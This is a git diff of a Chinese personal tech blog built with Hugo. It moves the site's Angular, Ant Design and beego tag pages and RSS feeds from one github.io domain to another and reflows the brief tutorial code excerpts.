 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt;
&amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
+&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt; &amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt; &amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
     </item>
     
   </channel>
diff --git a/tags/angular/page/1/index.html b/tags/angular/page/1/index.html
index 8dbaeea6..b0298ea3 100644
--- a/tags/angular/page/1/index.html
+++ b/tags/angular/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/angular/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/angular/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/angular/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/angular/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/angular/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/angular/"></head></html>
\ No newline at end of file
diff --git a/tags/ant-design/index.html b/tags/ant-design/index.html
index d715d946..c527812a 100644
--- a/tags/ant-design/index.html
+++ b/tags/ant-design/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Ant Design | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/ant-design/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/ant-design/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Ant Design"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/ant-design/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Ant Design"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Ant Design</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Ant Design | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/ant-design/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/ant-design/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Ant Design"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/ant-design/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Ant Design"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Ant Design</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -13,14 +13,7 @@
 yarn create react-app antd-demo-ts –template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-&lt;Space direction="vertical">
-&lt;DatePicker/>
-&lt;/Space>,
-document.getElementById('root'),
-);</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://xiaochenabc123.github.io/posts/82/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( &lt;Space direction="vertical"> &lt;DatePicker/> &lt;/Space>, document.getElementById('root'), );</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://chenjunlinabc.github.io/posts/82/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/ant-design/index.xml b/tags/ant-design/index.xml
index ab2d44ae..0ec25e88 100644
--- a/tags/ant-design/index.xml
+++ b/tags/ant-design/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Ant Design on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/ant-design/</link>
+    <link>https://chenjunlinabc.github.io/tags/ant-design/</link>
     <description>Recent content in Ant Design on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 10 Aug 2021 23:03:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/ant-design/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 10 Aug 2021 23:03:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/ant-design/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Ant Design组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/82/</link>
+      <link>https://chenjunlinabc.github.io/posts/82/</link>
       <pubDate>Tue, 10 Aug 2021 23:03:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/82/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/82/</guid>
       <description>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
@@ -33,7 +33,7 @@ yarn add antd
 yarn create react-app antd-demo-ts &amp;ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import &#39;antd/dist/antd.css&#39;;
import { DatePicker, Space } from &#39;antd&#39;;
ReactDOM.render(
&amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt;
&amp;lt;DatePicker/&amp;gt;
&amp;lt;/Space&amp;gt;,
document.getElementById(&#39;root&#39;),
); </description>
+import &#39;antd/dist/antd.css&#39;; import { DatePicker, Space } from &#39;antd&#39;; ReactDOM.render( &amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt; &amp;lt;DatePicker/&amp;gt; &amp;lt;/Space&amp;gt;, document.getElementById(&#39;root&#39;), ); </description>
     </item>
     
   </channel>
diff --git a/tags/ant-design/page/1/index.html b/tags/ant-design/page/1/index.html
index 629176f0..da562768 100644
--- a/tags/ant-design/page/1/index.html
+++ b/tags/ant-design/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/ant-design/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/ant-design/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/ant-design/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/ant-design/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/ant-design/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/ant-design/"></head></html>
\ No newline at end of file
diff --git a/tags/beego/index.html b/tags/beego/index.html
index 092b9085..fbfccd7b 100644
--- a/tags/beego/index.html
+++ b/tags/beego/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>beego | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/beego/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/beego/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="beego"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/beego/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="beego"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>beego</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>beego | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/beego/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/beego/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="beego"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/beego/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="beego"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a 